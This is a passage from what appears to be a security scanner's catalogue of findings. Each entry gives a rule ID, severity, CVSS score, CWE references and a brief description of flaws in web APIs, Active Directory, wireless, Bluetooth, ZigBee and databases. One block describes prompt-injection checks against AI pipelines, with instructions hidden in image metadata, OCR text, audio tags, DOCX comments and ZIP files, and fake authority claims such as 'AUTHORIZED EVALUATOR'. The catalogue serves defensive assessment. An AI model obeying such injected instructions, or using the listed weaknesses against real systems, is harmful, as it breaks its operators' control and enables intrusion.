PHX-041 HIGH Vulnerable Third-Party Dependency 8.1 CWE-1395
PHX-046 HIGH Parameter Tampering – Price Manipulation 8.1 CWE-472
PHX-047 HIGH Race Condition – Time-of-Check to Time-of-Use (TOCTOU) 7.5 CWE-362
PHX-049 HIGH Cross-Site Request Forgery (CSRF) 7.1 CWE-346 CWE-352
PHX-055 HIGH Broken Object Property Level Authorization (BOPLA) 7.5 CWE-213
PHX-057 HIGH Sensitive Data Exposed in URL Parameters 7.5 CWE-598
PHX-058 HIGH XPath Injection 7.5 CWE-91
PHX-059 HIGH Missing Multi-Factor Authentication 7.5 CWE-308
PHX-060 HIGH FTP Service Exposed 7.5 CWE-306 CWE-319
PHX-061 HIGH Telnet Service Enabled 7.5 CWE-319
PHX-062 HIGH SNMP Default Community String 7.5 CWE-1392
PHX-066 HIGH Stored Cross-Site Scripting (XSS) 8.0 CWE-79 CWE-116
PHX-067 HIGH Insecure Direct Object Reference – File Access 7.5 CWE-22 CWE-23 CWE-35 +1
PHX-068 HIGH Business Logic Flaw – Negative Quantity Accepted 7.5 CWE-840
PHX-077 HIGH Subdomain Takeover 8.1 CWE-350
PHX-079 HIGH Broken Access Control – Horizontal Privilege Escalation 8.1 CWE-639
PHX-080 HIGH Unencrypted Database Connection 7.5 CWE-319
PHX-083 HIGH Insecure Cloud Storage – S3 Bucket Publicly Readable 7.5 CWE-732
PHX-084 HIGH Cloud Instance Metadata Service (IMDS) Accessible 8.1 CWE-441 CWE-918
PHX-086 HIGH Weak Password Reset Mechanism 7.5 CWE-640
PHX-088 HIGH Nginx Off-By-Slash Path Traversal Misconfiguration 7.5 CWE-22 CWE-23 CWE-35
PHX-089 HIGH Prototype Pollution 7.3 CWE-1321
PHX-094 HIGH API Key Exposed in JavaScript Source 7.5 CWE-259 CWE-798
PHX-096 HIGH Unvalidated Webhook – Spoofable Source 7.5 CWE-345
PHX-099 HIGH Exposed Backup File 7.5 CWE-530
PHX-101 HIGH Dependency Confusion Attack Surface 8.8 CWE-830
PHX-103 HIGH Sensitive PII Exposed in API Response 7.5 CWE-200
PHX-104 HIGH Insufficient Transport Layer Security – API Over HTTP 7.5 CWE-319
PHX-111 HIGH DNS Zone Transfer Permitted (AXFR) 7.5 200 16
PHX-120 HIGH Weak or Predictable Session Token 7.5 330 331 335
PHX-122 HIGH Exposed Metrics or Actuator Endpoint 7.5 200 284 497
PHX-124 HIGH API Returns Same Data for All Users (Missing Object-Level Auth) 7.5 285 639
PHX-125 HIGH Unauthenticated Access to Protected Path 7.5 284 306 862
PHX-129 HIGH WordPress Backup/Export File Exposed 7.5 200 312 538
PHX-130 HIGH TimThumb Script Detected 7.5 434 94
PHX-136 HIGH NFS Unauthenticated Export 7.5 CWE-284 CWE-552
PHX-140 HIGH RFID Credential Capture and Replay 7.5 CWE-284 CWE-294
PHX-143 HIGH Industrial/OT Protocol Exposed on Network 8.6 CWE-311 CWE-306
PHX-148 HIGH SSHv1 Protocol Supported 7.4 CWE-327
PHX-150 HIGH RDP Without Network Level Authentication (NLA) 7.5 CWE-287 CWE-693
PHX-151 HIGH SMTP Open Mail Relay 7.5 CWE-284
PHX-157 HIGH MySQL CVE-2012-2122 Authentication Bypass 5.1 CWE-287
PHX-161 HIGH Active Directory Kerberoasting 7.5 CWE-522
PHX-162 HIGH AS-REP Roasting — Pre-Authentication Not Required 7.5 CWE-522
PHX-163 HIGH BloodHound — Active Directory Attack Path Discovered 8.8 CWE-732 CWE-269
PHX-164 HIGH LDAP Anonymous Bind / Domain User Enumeration 7.5 CWE-306 CWE-203
PHX-165 HIGH Domain Account No Password Required 7.5 CWE-521 CWE-306
PHX-166 HIGH SMB Null Session Permitted 7.5 CWE-306 CWE-284
PHX-167 HIGH WordPress Core / Theme / Plugin Vulnerability (WPScan) 8.8 CWE-89 CWE-79 CWE-434 +1
PHX-172 HIGH Public Exploit or Metasploit Module Available 8.1 CWE-1035
PHX-174 HIGH Privileged Domain Accounts Discovered 8.8 CWE-269 CWE-732
PHX-175 HIGH Unknown CVE / Vulners Match 8.1 CWE-1035
PHX-180 HIGH OSINT PII Exposure — Social Security Number Pattern 7.5 CWE-359 CWE-200
PHX-186 HIGH WS-Addressing SSRF via ReplyTo/FaultTo 8.6 CWE-918
PHX-187 HIGH Serialization Marker in API Response (Deserialization Risk) 8.1 CWE-502
PHX-188 HIGH Unsafe Webhook URL Consumption (SSRF) 8.6 CWE-918
PHX-189 HIGH Deprecated Protocol — Cleartext Service in Use 7.5 CWE-311 CWE-319
PHX-218 HIGH WPA3 SAE Dragonblood Vulnerability 7.4 CWE-325 CWE-330
PHX-219 HIGH KRACK — WPA2 Key Reinstallation Attack 8.1 CWE-330 CWE-326
PHX-222 HIGH WPS Enabled — PIN/Brute-Force Attack Surface 7.5 CWE-304 CWE-326
PHX-223 HIGH WPA3 Transition Mode — Downgrade to WPA2 7.5 CWE-757
PHX-224 HIGH KNOB Attack — Bluetooth Encryption Key Entropy Reduction 9.3 CWE-326 CWE-757
PHX-225 HIGH BIAS Attack — Bluetooth Impersonation via Authentication Bypass 9.1 CWE-287 CWE-306
PHX-226 HIGH BLUFFS — Bluetooth Forward Secrecy Attack 8.2 CWE-326 CWE-325
PHX-227 HIGH Bluetooth Low Energy Weak Pairing — Crackable Temporary Key 8.0 CWE-326 CWE-330
PHX-228 HIGH BLE GATT Service — Unauthenticated Read/Write Access 6.8 CWE-306 CWE-284
PHX-231 HIGH Bluetooth BR/EDR Cleartext Traffic — Passive Eavesdropping 6.5 CWE-311
PHX-233 HIGH BLE MITM Attack via Device Cloning (GATTacker) 7.8 CWE-287 CWE-300
PHX-234 HIGH Bluetooth Denial-of-Service and Physical Firmware Extraction 7.2 CWE-400 CWE-693
PHX-236 HIGH ZigBee Replay Attack 7.4 CWE-294
PHX-237 HIGH ZigBee Cluster Library (ZCL) Command Injection 9.6 CWE-20 CWE-77
PHX-238 HIGH ZigBee Light Link (ZLL) Touchlink Attack — Device Theft and Factory Reset 9.0 CWE-306
PHX-239 HIGH ZigBee Network Denial-of-Service 6.5 CWE-400
PHX-241 HIGH ZigBee Open Join Window and ZDO Enumeration 7.1 CWE-306 CWE-284
PHX-243 HIGH ZigBee Protocol Fuzzing Crash and ZLL Master Key Deployment 9.0 CWE-703 CWE-321
PHX-247 HIGH RTLS Position Data Injection via MQTT 8.1 CWE-20 CWE-284
PHX-250 HIGH UWB Scrambled Timestamp Sequence (STS) Key Weakness 7.8 CWE-326 CWE-330
PHX-251 HIGH UWB Ranging Exchange — Cleartext Transmission 6.5 CWE-311
PHX-253 HIGH RTLS Zone Boundary Bypass — Physical Access Control Defeat 7.6 CWE-284
PHX-254 HIGH UWB Anchor RF Flooding — Denial of Service 5.8 CWE-400
PHX-256 HIGH Insecure Direct Object Reference in RTLS API 6.5 CWE-639
PHX-261 HIGH Elasticsearch Unauthenticated Access 7.5 CWE-306 CWE-284
PHX-263 HIGH InfluxDB Unauthenticated Access 7.5 CWE-306
PHX-264 HIGH Neo4j Unauthenticated Access 7.5 CWE-306
PHX-266 HIGH Memcached Unauthenticated Access — Data Dump 7.5 CWE-306 CWE-284
PHX-267 HIGH Database User Excessive Privileges 7.2 CWE-269 CWE-250
PHX-270 HIGH Outdated Database Version with Known CVEs 7.5 CWE-1104
PHX-271 HIGH Database Backup Files Accessible 7.5 CWE-552 CWE-284
PHX-272 HIGH Sensitive PII Data in Database Schema 6.5 CWE-312 CWE-359
PHX-278 HIGH Database Accessible from Internet 7.5 CWE-284 CWE-749
PHX-279 HIGH SQL Injection via Stored Procedure or Trigger 8.8 CWE-89 CWE-250
PHX-281 HIGH Database User Password Hash Exposed 8.1 CWE-256 CWE-312
PI-002 HIGH AI Prompt Injection — Prefix Inject via {strategy}
The AI pipeline completed its primary task but also followed an injected instruction to prefix its output with an attack...
7.5 CWE-74
PI-005 HIGH AI Prompt Injection — Authority Claim via {strategy}
The AI pipeline followed an injected instruction that claimed special authority (e.g. 'AUTHORIZED EVALUATOR', 'ADMIN OVE...
7.5 CWE-74 CWE-284
PI-006 HIGH AI Prompt Injection — {category} via {strategy} (Partial Injection)
The AI pipeline completed its primary task but also followed the injected instruction — the canary token appeared in the...
7.5 CWE-74
PI-007 HIGH AI Prompt Injection — {category} via {strategy} (Stored Text Injection)
The injected payload was not detected in the immediate AI response but was found persisted in stored results at the veri...
8.1 CWE-79 CWE-74
PI-012 HIGH AI Prompt Injection — {category} via png_text_chunk_metadata
The AI pipeline followed an injected instruction embedded in a PNG image's tEXt/iTXt metadata chunks (Comment, Descripti...
7.5 CWE-74
PI-013 HIGH AI Prompt Injection — {category} via {format}_text_overlay_ocr
The AI pipeline followed an injected instruction rendered as visible text in an image. The text was extracted via OCR (o...
7.5 CWE-74
PI-015 HIGH AI Prompt Injection — {category} via {format}_id3_tags
The AI pipeline followed an injected instruction embedded in audio file metadata (ID3 tags: Title, Artist, Album, Commen...
7.5 CWE-74
PI-017 HIGH AI Prompt Injection — {category} via docx_comment_text_extraction
The AI pipeline followed an injected instruction placed in a DOCX document's comment annotations. Document comments are ...
7.5 CWE-74
PI-018 HIGH AI Prompt Injection — {category} via zip_member_text_injection
The AI pipeline followed an injected instruction placed in text files within a ZIP archive (document.txt, data.csv, note...
7.5 CWE-74
PT-101 HIGH SMBv1 Traffic Observed (EternalBlue / NotPetya exposure)
SMBv1 protocol traffic observed between the device and one or more internal peers. SMBv1 is deprecated since 2014 and is...
8.1 CWE-477
PT-102 HIGH LLMNR / NBT-NS Name Resolution in Use (Responder Surface)
LLMNR or NetBIOS Name Service broadcast-based name resolution is in use on the segment. These protocols are abused by Re...
8.1 CWE-290 CWE-300
PT-107 HIGH Cleartext FTP Traffic Observed (credentials in plaintext)
FTP control-channel traffic observed in cleartext. FTP USER/PASS commands and file contents are passively captureable by...
7.4 CWE-319 CWE-523
PT-108 HIGH Cleartext Telnet Traffic Observed
Telnet traffic observed in cleartext. Telnet credentials and keystrokes are sent in plaintext and trivially captured by ...
7.4 CWE-319 CWE-523
PT-110 HIGH HTTP Basic Authentication Observed in Cleartext
HTTP Basic Auth headers observed in cleartext. Authorization: Basic <base64> is one base64-decode step away from usernam...
7.4 CWE-319 CWE-523
SI-051 HIGH Security Misconfiguration / CORS Wildcard with Credentials
The API responds with Access-Control-Allow-Origin: * and Access-Control-Allow-Credentials: true simultaneously. While mo...
7.5 —
SI-052 HIGH Information Disclosure: Credentials in URL Query Parameters
The API transmits sensitive credentials (API keys, tokens, passwords, or session identifiers) in URL query parameters ra...
7.5 —
SI-053 HIGH Debug / Developer Console Exposed
Siphon detected an accessible debug or developer console endpoint (e.g., /debug, /console, /__debug__, /flask-debugger, ...
7.5 —
SI-059 HIGH Missing Security Header: Strict-Transport-Security
The API does not include a Strict-Transport-Security (HSTS) header in its responses. Without HSTS, browsers do not enfor...
6.5 —
SI-060 HIGH BOLA — Object Enumeration Possible
The API uses predictable, sequential, or guessable object identifiers (e.g., integer IDs: /api/orders/1001, /api/orders/...
7.5 —
SI-061 HIGH BFLA — Broken Function Level Authorization
Siphon confirmed that an API endpoint intended for a higher-privileged role (e.g., manager, moderator) is accessible by ...
8.1 —
SI-062 HIGH Excessive Data Exposure — Sensitive Fields in API Response
The API response includes sensitive fields that should not be returned to the requesting client, such as password hashes...
7.5 —
SI-063 HIGH Cross-User Data Leakage
Siphon confirmed that an authenticated API endpoint returns data belonging to another user when a different user's resou...
8.1 —
SI-064 HIGH Sensitive Data Exposed in API Response
The API response contains sensitive data including but not limited to: full payment card numbers or PAN data, government...
7.5 —
SI-065 HIGH Sensitive Authentication Headers Exposed in Response
The API response headers expose sensitive authentication material such as internal API keys, bearer tokens, session iden...
7.5 —
SI-066 HIGH Missing Rate Limiting
The API endpoint does not enforce any rate limiting on incoming requests. An attacker can send unlimited requests to thi...
7.5 CWE-770
SI-067 HIGH Rate Limit Bypass — Unauthenticated Session Has Separate Bucket
Siphon confirmed a rate limit bypass where requests made without authentication (or with a different credential type) ar...
7.1 —
SI-068 HIGH Rate Limit Bypass via X-Forwarded-For Header
Siphon confirmed that the API's rate limiting can be bypassed by injecting arbitrary IP addresses into the X-Forwarded-F...
7.5 —
SI-069 HIGH Mass Assignment Vulnerability
Siphon confirmed a mass assignment vulnerability where injecting undocumented fields (e.g., role, isAdmin, accountBalanc...
8.1 CWE-915
SI-070 HIGH JWT Uses Insecure Algorithm
The API issues or accepts JWTs using an algorithm that provides insufficient security guarantees. This includes weak alg...
8.1 —
SI-071 HIGH JWT kid Header Path Traversal
The JWT kid (key ID) header parameter is used by the server to locate the signing key on the filesystem, and the server ...
7.5 —
SI-072 HIGH JWT Token Not Invalidated After Logout
Siphon confirmed that a JWT obtained before calling the logout endpoint remains valid and accepted by the API after the ...
7.1 —
SI-073 HIGH CORS — Reflected Origin with Credentials
The API reflects the incoming request's Origin header directly in the Access-Control-Allow-Origin response header and se...
8.1 —
SI-074 HIGH Reflected Cross-Site Scripting (XSS)
Siphon confirmed a reflected Cross-Site Scripting (XSS) vulnerability where user-supplied input from an API parameter is...
7.2 CWE-79 CWE-116
SI-076 HIGH GraphQL Batch Query Attack Possible
The GraphQL API accepts batched queries — multiple operations in a single HTTP request submitted as a JSON array. An att...
7.5 —
SI-077 HIGH GraphQL Query Depth Attack
The GraphQL API accepts deeply nested queries without enforcing a maximum query depth limit. An attacker can submit a de...
7.5 —
SI-078 HIGH SOAP Injection — Parameter Reflected or Error Triggered
Siphon detected that SOAP API parameters reflect injected XML content in the response or trigger parser errors indicativ...
7.2 —
SI-079 HIGH SSRF via API Parameter
Siphon confirmed a Server-Side Request Forgery (SSRF) vulnerability where a URL supplied in an API parameter causes the ...
8.6 CWE-918
SI-080 HIGH Business Flow — Workflow Step Directly Accessible
Siphon confirmed that a step in a multi-stage business workflow (e.g., checkout confirmation, order completion, password...
7.5 —
SI-081 HIGH Business Flow — Race Condition (Duplicate Operation)
Siphon confirmed a race condition vulnerability where submitting the same API operation multiple times in parallel resul...
7.1 —
SI-082 HIGH Business Flow — Bulk Endpoint Accepts Unrestricted Batch Size
The API exposes a bulk operation endpoint that accepts an array of items without enforcing a maximum batch size limit. A...
7.5 —
SI-095 HIGH Path Traversal / Local File Inclusion in API
Siphon confirmed a path traversal vulnerability where a filename or path parameter in the API is used to read files from...
8.6 CWE-22 CWE-23 CWE-35
SI-096 HIGH LDAP Injection in API Parameter
Siphon confirmed an LDAP injection vulnerability where user-supplied input is incorporated into an LDAP query without sa...
7.5 CWE-90
SI-101 HIGH GraphQL Introspection Enabled (Production)
The GraphQL API has introspection enabled in what appears to be a production environment (based on the target scope or d...
6.5 —
SI-102 HIGH WS-Addressing ReplyTo/FaultTo Header Accepted (SSRF Risk)
Siphon detected that the SOAP API accepts WS-Addressing headers (wsa:ReplyTo or wsa:FaultTo) containing attacker-control...
8.6 CWE-918
SI-105 HIGH Unsafe API Consumption — Webhook URL Accepted (SSRF Risk)
Siphon confirmed that the API accepts a caller-supplied URL in a webhook registration or callback parameter and the serv...
7.5 CWE-918
SI-107 HIGH Unsafe API Consumption — Serialization Markers in Response
Siphon detected serialization markers in the API response body that indicate the application is transmitting serialized ...
7.8 CWE-502
SI-109 HIGH Sensitive File Exposed
Siphon discovered that the API server exposes a sensitive file at a publicly accessible path without authentication. Sen...
7.5 CWE-530
SI-113 HIGH Unauthenticated Access to Endpoint
Siphon confirmed that an API endpoint which is expected to require authentication returns a successful non-error respons...
7.5 —
SI-114 HIGH Missing Rate Limit on Sensitive Endpoint
Siphon confirmed that an API endpoint handling a sensitive operation — such as authentication, password reset, OTP valid...
7.5 CWE-770
SI-142 HIGH WebSocket Handshake Accepts Arbitrary Origin (CSWSH Risk)
The WebSocket handshake completed with an attacker-controlled Origin header and without credentials, indicating the serv...
— CWE-346 CWE-1385
SI-151 HIGH JWT Scope/Claim Manipulation Accepted
The server accepted a JWT with modified scope, role, or permission claims without rejecting the tampered token. This ind...
8.1 CWE-269 CWE-285
SI-156 HIGH Bearer Token Transmitted in URL Query Parameter
Authentication tokens (access_token, bearer, jwt) are transmitted in URL query parameters rather than in headers or cook...
7.5 CWE-598
SI-157 HIGH Information Disclosure: API Key in URL Query Parameter
API keys are transmitted in URL query parameters (api_key, apiKey, client_secret, etc.) rather than in headers.
7.5 CWE-598
SI-158 HIGH Session Token Not Rotated After Authentication
The session cookie retains the same value before and after authentication. An attacker who sets a pre-authentication ses...
7.5 CWE-384
SS-073 HIGH Unauthenticated CouchDB Access
CouchDB allows unauthenticated access to the /_all_dbs endpoint, revealing the list of all databases on the server.
7.5 CWE-306
SS-074 HIGH Grafana Unauthenticated API Access
Grafana allows unauthenticated access to API endpoints such as /api/org, exposing organization details, dashboards, and ...
7.5 CWE-306
SS-076 HIGH Unauthenticated Kibana Access
Kibana exposes its /api/status endpoint without authentication, revealing version information and system status. Full un...
7.5 CWE-306
SS-077 HIGH Cassandra Unauthenticated CQL Access
Cassandra CQL accepted a STARTUP frame and returned READY without requesting authentication, indicating the PasswordAuth...
8.6 CWE-306
SS-078 HIGH Git Repository Exposed via Web
The web server exposes a .git directory. The /.git/HEAD file returns a valid Git ref, indicating the full repository is ...
7.5 CWE-538 CWE-200
SS-084 HIGH PHP Info Page Exposed
A phpinfo() page is accessible, exposing the complete PHP configuration including loaded modules, file paths, environmen...
5.3 CWE-200
SS-091 HIGH MongoDB Unauthenticated Access
MongoDB accepted an isMaster query via the native OP_QUERY protocol without requiring authentication, indicating authori...
8.6 CWE-306
SS3-006 HIGH SSLv3 Enabled
The server accepts SSLv3 connections. SSLv3 is vulnerable to the POODLE attack (CVE-2014-3566), which allows decryption ...
3.4 —
SS3-007 HIGH Weak Cipher Suite Enabled
The server supports cipher suites providing 64-bit or less symmetric encryption, export-grade key exchange, or null/anon...
7.5 CWE-326 CWE-327
SS3-009 HIGH Expired TLS Certificate
The server's TLS certificate has passed its expiry date. Expired certificates are rejected by modern clients with a hard...
5.3 —
SS3-011 HIGH SMB Signing Disabled
SMB packet signing is not required on this host. Without signing, relay attacks (NTLM relay) allow an attacker to authen...
7.4 CWE-345
SS3-014 HIGH LLMNR/NBT-NS Response Captured (Responder)
Responder captured an LLMNR or NBT-NS broadcast and responded with a poisoned answer. The victim host sent an NTLM authe...
8.8 CWE-294 CWE-311 CWE-306
SS3-016 HIGH NTLMv2 Hash Captured
An NTLMv2 authentication hash was captured via Responder poisoning. NTLMv2 hashes are crackable offline with GPU-acceler...
6.8 —
SS3-019 HIGH FTP Anonymous Login Enabled
The FTP server permits anonymous login. Any user can authenticate without credentials and browse accessible files.
7.5 —
SS3-020 HIGH Nuclei: Known CVE Vulnerability Detected
Nuclei's CVE template library identified a known CVE in a service banner, web application, or network protocol response....
— —
SS3-021 HIGH Nuclei: Exposed Admin Panel
Nuclei detected an administrative interface (web admin panel, management console, or device configuration portal) expose...
7.5 —
SS3-028 HIGH Cross-Site Scripting (XSS) Vulnerability
XSStrike or ZAP detected a reflected or stored XSS vulnerability. An attacker can inject scripts into pages viewed by ot...
6.1 —
SS3-029 HIGH SNMP Community String Exposed
The device accepts the default SNMP community string ('public' for read or 'private' for read/write). SNMP data exposes ...
7.5 —
SS3-030 HIGH LDAP Anonymous Bind Permitted
The LDAP server permits anonymous bind. Unauthenticated clients can query directory objects including user accounts, gro...
7.5 CWE-306 CWE-203
SS3-032 HIGH Kerberoastable Service Account Identified
Kerbrute or ldapdomaindump identified a service account with a ServicePrincipalName (SPN). Kerberos TGS tickets for SPNs...
8.1 CWE-522
SS3-033 HIGH AS-REP Roastable Account Identified
A user account has Kerberos pre-authentication disabled. An AS-REP response can be requested and cracked offline without...
7.5 CWE-522
SS3-035 HIGH NFS Export Accessible Without Authentication
An NFS export is accessible without authentication or with world-readable permissions. Sensitive files on the export may...
7.5 —
SS3-036 HIGH RDP Exposed to Network
Remote Desktop Protocol (port 3389) is accessible from the network. RDP has a history of critical vulnerabilities and ex...
9.8 —
SS3-037 HIGH Telnet Service Exposed
Telnet (port 23) is exposed on the network. Telnet transmits all data including credentials in cleartext. Any network ob...
7.5 —
SS3-038 HIGH FTP Cleartext Credentials
FTP (port 21) transmits credentials in cleartext. Credentials captured during banner grab or brute-force are fully reada...
7.5 —
SS3-040 HIGH WordPress Vulnerability Detected (WPScan)
WPScan identified a known vulnerability in the WordPress core, a plugin, or a theme. WordPress vulnerabilities frequentl...
— CWE-89 CWE-79 CWE-434 +1
SS3-045 HIGH Sploitus: Public Exploit Available for Detected Version
Sploitus API returned a public exploit matching the service version detected during port scanning. The vulnerability is ...
— CWE-1035
SS3-046 HIGH Metasploit Module Available for Detected Vulnerability
The Metasploit Framework contains one or more scanner or exploit modules matching a CVE identified during scanning. The ...
— CWE-1035
SS3-051 HIGH SSH Vulnerability: SSHv1 Protocol Supported
The SSH server on this host advertises support for the SSHv1 protocol. SSHv1 is cryptographically broken and contains fu...
7.4 CWE-327
SS3-054 HIGH MS12-020 RDP Vulnerability Detected
The Remote Desktop Protocol (RDP) service on this host appears vulnerable to MS12-020, which includes CVE-2012-0152 (den...
9.3 CWE-287 CWE-693
SS3-055 HIGH RDP Weak or No Encryption Configured
The RDP service is configured with a low or incompatible security layer, or does not enforce strong encryption. Configur...
7.4 CWE-287 CWE-693
SS3-056 HIGH RDP Without NLA (Network Level Authentication) — BlueKeep Exposure
Network Level Authentication (NLA) is not enforced on the RDP service. Without NLA, unauthenticated network sessions are...
8.1 CWE-287 CWE-693
SS3-057 HIGH NFS Export Points Enumerated — Potentially Unauthenticated Access
The NFS server responded to a showmount query and disclosed its export list. One or more exports are configured with ove...
7.5 CWE-284 CWE-552
SS3-059 HIGH SMTP Open Mail Relay Detected
The SMTP server on this host will relay email for external domains, acting as an open mail relay. Open relays can be abu...
7.5 CWE-284
SS3-066 HIGH MySQL CVE-2012-2122 Authentication Bypass Risk
The MySQL version detected on this host is potentially vulnerable to CVE-2012-2122, a memory comparison timing flaw in t...
8.1 CWE-287
SS3-068 HIGH RPC Null Session Permitted
The Windows RPC endpoint mapper accepts unauthenticated null session connections. A null session permits unauthenticated...
7.5 CWE-306 CWE-284
SS3-069 HIGH SMB Null Session Permitted
The SMB server permits null session connections — unauthenticated connections using an empty username and password. Via ...
7.5 CWE-306 CWE-284
SS3-071 HIGH SMB Share Identified with WRITE Permissions
An SMB share has been confirmed to be writable with the credentials used during the scan. Write access to a network shar...
8.1 CWE-269 CWE-732
SS3-072 HIGH SMB Share-Level Authentication (No User-Level Auth)
The SMB server is configured to use share-level authentication rather than user-level authentication. Under share-level ...
7.5 CWE-306 CWE-284
SS3-073 HIGH BloodHound AD Graph Data Collected
BloodHound-Python successfully collected Active Directory object data including users, groups, computers, GPOs, OUs, and...
7.7 CWE-732 CWE-269
SS3-074 HIGH LDAP Domain Users Enumerated
LDAP enumeration successfully retrieved a list of domain user accounts from Active Directory. The enumerated data may in...
7.7 CWE-306 CWE-203
SS3-076 HIGH Domain Accounts with Password Not Required
One or more Active Directory user accounts have the PASSWD_NOTREQD (UF_PASSWD_NOTREQD, userAccountControl bit 0x0020) fl...
8.1 CWE-521 CWE-306
SS3-077 HIGH Privileged Domain Accounts Identified
LDAP enumeration identified user accounts with membership in highly privileged Active Directory groups such as Domain Ad...
7.7 CWE-269 CWE-732
SS3-078 HIGH WordPress Core Vulnerability
WPScan identified a known vulnerability in the WordPress core installation. WordPress core vulnerabilities range from au...
8.8 CWE-89 CWE-79 CWE-434 +1
SS3-079 HIGH WordPress Plugin Vulnerability
WPScan identified a known security vulnerability in an installed WordPress plugin. Plugin vulnerabilities are the most c...
8.8 CWE-89 CWE-79 CWE-434 +1
SS3-080 HIGH WordPress Theme Vulnerability
WPScan identified a known security vulnerability in an active or inactive WordPress theme. Vulnerable themes can expose ...
7.2 CWE-89 CWE-79 CWE-434 +1
SS3-088 HIGH Public Exploit Available
A public proof-of-concept or weaponised exploit was found for a vulnerability identified during the scan, sourced from E...
8.1 CWE-1035
SS3-089 HIGH Metasploit Module Available
A Metasploit Framework module (auxiliary scanner or exploit) was identified that matches a vulnerability or service vers...
8.1 CWE-1035
SS3-091 HIGH Deprecated Protocol Enabled
A deprecated network protocol is enabled on this host. Deprecated protocols lack modern security controls including stro...
7.5 CWE-311 CWE-319
SS3-107 HIGH OS End-of-Life (Extended Support)
The operating system is within its Extended Support (or Extended Security Updates) period, meaning the vendor continues ...
7.5 CWE-1104
SS3-109 HIGH Known Vulnerability
A known vulnerability was identified in a service, application, or operating system component on the target host, matche...
— CWE-1035
SS3-110 HIGH Vulners CVE Match
The Vulners vulnerability intelligence API returned a CVE match for the service version detected during port scanning. V...
— CWE-1035
SS3-179 HIGH SSH Vulnerability: {cve_id}
ssh-audit matched the SSH server's banner against its built-in CVE database and identified one or more known vulnerabili...
— CWE-1395 CWE-1104
SS3-186 HIGH Telnet Service Exposed — Cleartext Protocol
A Telnet service is exposed on the network. Telnet transmits all data including credentials in cleartext, making it triv...
7.5 CWE-319
SS3-190 HIGH Rsync: Anonymous Module Access
The rsync daemon allows anonymous listing and potentially read/write access to shared modules without authentication.
7.5 CWE-284
SS3-191 HIGH Java RMI Registry Exposed
A Java RMI registry is exposed on the network. The JRMI handshake was confirmed. Exposed RMI registries are vulnerable t...
8.1 CWE-502
SS3-193 HIGH Elasticsearch: Unauthenticated Access
Elasticsearch is accessible without authentication. Cluster health, indices, and all stored data can be queried and modi...
7.5 CWE-306
SS3-194 HIGH MQTT Broker: No Authentication Required
The MQTT broker accepted a CONNECT packet without credentials (CONNACK return code 0x00), confirming no authentication i...
7.5 CWE-306
SS3-203 HIGH Jenkins: Unauthenticated Management Console
The Jenkins management console at /manage is accessible without authentication, exposing system configuration, plugin ma...
7.5 CWE-306
SS3-204 HIGH Kerberoastable Service Accounts Identified
Service accounts with registered Service Principal Names (SPNs) were identified via Kerberos TGS-REP ticket requests. Th...
7.5 CWE-916
SS3-215 HIGH Unauthenticated X11 Display Access
An X11 display server accepts connections without authentication. The service responded to either xdpyinfo queries or ra...
7.5 CWE-306
SS3-218 HIGH Weak Credentials: {SERVICE}
brutespray confirmed that a network service accepts weak or easily guessable credentials. The service authenticated succ...
7.5 CWE-521 CWE-1391
AETHER-008 MEDIUM WPA3 SAE Resource Exhaustion (Dragondrain) Tested
The target AP was subjected to the Dragondrain SAE commit-flooding attack (CVE-2019-9496). The AP was flooded with forge...
5.9 —
AETHER-014 MEDIUM Open / Unencrypted Wireless Network
The target network operates without wireless encryption (open authentication, no WEP/WPA). All data is transmitted in cl...
9.8 —
AETHER-015 MEDIUM WPS Enabled on Access Point
Wi-Fi Protected Setup (WPS) is enabled on the target AP. WPS PIN-based authentication has a fundamental design flaw: the...
7.5 —
AETHER-016 MEDIUM WPA3 Transition Mode — Downgrade Attack Surface
The target AP is operating in WPA3-Transition mode (WPA2/WPA3 mixed mode), simultaneously supporting both WPA2 and WPA3 ...
7.5 —
AETHER-022 MEDIUM Protected Management Frames (PMF / 802.11w) Not Enforced
The target AP does not require Protected Management Frames (PMF/802.11w). A deauthentication or disassociation frame sen...
5.3 —
AETHER-023 MEDIUM BSS Transition Management (802.11v) Hijack Accepted
A crafted BSS Transition Management (BTM) request (802.11v, Category 10 Action 7) was accepted by a client, causing it t...
6.5 —
AETHER-026 MEDIUM SAE Transition Mode — WPA2 Downgrade Attack Surface
The target AP operates in WPA3/WPA2 transition mode and a WPA2-only rogue AP was created with the same SSID. Clients sup...
6.8 —
AETHER-030 MEDIUM TKIP Encryption in Use
The target network uses TKIP (Temporal Key Integrity Protocol), a deprecated encryption scheme that was introduced as a ...
5.9 —
AETHER-034 MEDIUM Captive Portal Bypass Confirmed
The target captive portal was bypassed using one or more techniques: DNS tunnelling (exfiltrating data via DNS queries t...
5.3 —
AETHER-CAP-HTTP-DIRECT MEDIUM Captive Portal: Direct HTTP to Arbitrary IP Pre-Authentication
Direct HTTP to an arbitrary IP address (without DNS lookup) succeeded from an unauthenticated client. The captive portal...
5.3 CWE-284
AETHER-CAP-HTTPS-DIRECT MEDIUM Captive Portal: Direct HTTPS to Arbitrary IP Pre-Authentication
Direct HTTPS to an arbitrary IP address succeeded from an unauthenticated client. The captive portal does not block outb...
5.3 CWE-284
AETHER-CERT-002 MEDIUM Server Certificate Expired or Expiring Soon
The RADIUS server certificate has either passed its Not After date (expired) or is within 30 days of expiry. EAP-TLS aut...
4.0 —
AETHER-CERT-003 MEDIUM Server Certificate Self-Signed or From Unrecognised CA
The RADIUS server certificate is self-signed (Subject == Issuer) or issued by a CA not present in the standard public ro...
5.0 —
AETHER-CERT-004 MEDIUM Server Certificate Issuer Reveals Internal CA Infrastructure
The Issuer field of the RADIUS server certificate contains terms suggesting an internal Certificate Authority (e.g., CN=...
4.3 —
AETHER-EAPTLS-001 MEDIUM EAP Outer Identity Leaks User-Realm Format
The EAP-Response/Identity message (the OUTER EAP identity sent in cleartext before TLS negotiation) contains a username ...
5.3 —
AETHER-EAPTLS-003 MEDIUM Client Supplicant Attempts Authentication Against Rogue AP
A client supplicant attempted EAP authentication against an unauthorised AP impersonating the corporate SSID, then abort...
4.0 —
AETHER-IPSK-002 MEDIUM iPSK Suspected — Per-Client PMKID Variance Observed
Multiple clients associated to the same WPA2-PSK SSID exhibited distinct PMKIDs in captured EAPOL frames. This is the st...
3.7 —
AETHER-IPSK-003 MEDIUM iPSK SSID Deployed Alongside Cert-Auth SSID on Same Physical AP
An iPSK SSID shares a physical AP with a cert-authenticated SSID. The wireless infrastructure security posture is now bo...
4.5 —
AETHER-SPLASH-001 MEDIUM Captive Portal Session Bound To MAC Alone
The captive portal (splash page) session is identified by the client's MAC address alone, with no secondary binding. An ...
5.0 —
AETHER-SPLASH-003 MEDIUM Captive Portal ICMP Bypass — External Echo Pre-Auth
